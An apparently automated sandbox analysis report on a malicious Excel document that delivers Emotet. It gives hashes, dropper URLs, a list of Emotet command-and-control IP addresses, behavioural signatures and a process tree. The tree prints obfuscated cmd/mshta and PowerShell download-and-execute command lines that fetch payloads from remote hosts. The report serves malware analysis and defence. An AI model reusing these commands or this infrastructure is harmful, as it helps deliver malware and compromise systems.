Analysis
- max time kernel
138s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-en-20220112 - submitted
21/01/2022, 03:05
Static task
static1
Behavioral task
behavioral1
Sample
efb3f62043e41427d07fedf61f4ae2f6.xls
Resource
win7-en-20211208
General
- Target efb3f62043e41427d07fedf61f4ae2f6.xls
- Size 71KB
- Sample220121-dk69jsdagj
- SHA256 901080be2ebddd84578b1c86870709fc36d04777bb2a6baa69234b7aab046a1a
- MD5 efb3f62043e41427d07fedf61f4ae2f6
- SHA1 457bd6a05151384cd164cd92ddd6abc72e93cabc
- SHA512 48b07ddcc721fb2806ce1e36b4ba8fc36dbff4c6e33d19e190c8d12429bda7250568ca28ffdaacba8df9a366aa990d717f417c3a66287a3c8845a5fad925af83
- MD5 SHA1 SHA512
Malware Config
Extracted
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hta
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hta.dropper
http://0xb907d607/fer/fe2.html
Extracted
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ps1
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ps1.dropper
http://185.7.214.7/fer/fe2.png
Extracted
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emotet
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Epoch4
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131.100.24.231:80
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209.59.138.75:7080
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103.8.26.103:8080
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51.38.71.0:443
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212.237.17.99:8080
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79.172.212.216:8080
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207.38.84.195:8080
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104.168.155.129:8080
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178.79.147.66:8080
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46.55.222.11:443
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103.8.26.102:8080
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192.254.71.210:443
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45.176.232.124:443
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203.114.109.124:443
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51.68.175.8:8080
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58.227.42.236:80
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45.142.114.231:8080
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217.182.143.207:443
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178.63.25.185:443
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45.118.115.99:8080
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103.75.201.2:443
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104.251.214.46:8080
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158.69.222.101:443
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81.0.236.90:443
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45.118.135.203:7080
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176.104.106.96:8080
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212.237.56.116:7080
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216.158.226.206:443
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173.212.193.249:8080
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50.116.54.215:443
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138.185.72.26:8080
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41.76.108.46:8080
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212.237.5.209:443
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107.182.225.142:8080
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195.154.133.20:443
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162.214.50.39:7080
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110.232.117.186:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2000 3664 cmd.exe 54 - Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 1144 created 404 1144 WerFault.exe 61 - suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 5 IoCs
flow pid Process 34 404 mshta.exe 44 4084 powershell.exe 46 4084 powershell.exe 59 452 rundll32.exe 64 452 rundll32.exe - Downloads MZ/PE file
- Sets service image path in registry 2 TTPs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation mshta.exe - Loads dropped DLL 4 IoCs
pid Process 3584 rundll32.exe 1408 rundll32.exe 3092 rundll32.exe 452 rundll32.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Komrbmgs\krvsju.hix rundll32.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 1420 404 WerFault.exe 61 - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe - Enumerates system info in registry 2 TTPs 5 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE - Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3664 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4084 powershell.exe 4084 powershell.exe 1420 WerFault.exe 1420 WerFault.exe 452 rundll32.exe 452 rundll32.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4084 powershell.exe - Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE 3664 EXCEL.EXE - Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 3664 wrote to memory of 2000 3664 EXCEL.EXE 59 PID 3664 wrote to memory of 2000 3664 EXCEL.EXE 59 PID 2000 wrote to memory of 404 2000 cmd.exe 61 PID 2000 wrote to memory of 404 2000 cmd.exe 61 PID 404 wrote to memory of 4084 404 mshta.exe 64 PID 404 wrote to memory of 4084 404 mshta.exe 64 PID 1144 wrote to memory of 404 1144 WerFault.exe 61 PID 1144 wrote to memory of 404 1144 WerFault.exe 61 PID 4084 wrote to memory of 1892 4084 powershell.exe 71 PID 4084 wrote to memory of 1892 4084 powershell.exe 71 PID 1892 wrote to memory of 3584 1892 cmd.exe 72 PID 1892 wrote to memory of 3584 1892 cmd.exe 72 PID 1892 wrote to memory of 3584 1892 cmd.exe 72 PID 3584 wrote to memory of 1408 3584 rundll32.exe 74 PID 3584 wrote to memory of 1408 3584 rundll32.exe 74 PID 3584 wrote to memory of 1408 3584 rundll32.exe 74 PID 1408 wrote to memory of 3092 1408 rundll32.exe 76 PID 1408 wrote to memory of 3092 1408 rundll32.exe 76 PID 1408 wrote to memory of 3092 1408 rundll32.exe 76 PID 3092 wrote to memory of 452 3092 rundll32.exe 77 PID 3092 wrote to memory of 452 3092 rundll32.exe 77 PID 3092 wrote to memory of 452 3092 rundll32.exe 77
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\efb3f62043e41427d07fedf61f4ae2f6.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2000 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Komrbmgs\krvsju.hix",FSyxpGxJP8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3092 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Komrbmgs\krvsju.hix",DllRegisterServer9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:452
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 404 -s 17244⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p1⤵PID:3184
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 23fec4910e099bb50a7e0a5e2646a081 RFc0+nKlYkGqGxBRAcxqNg.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:2932
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 408 -p 404 -ip 4041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:1144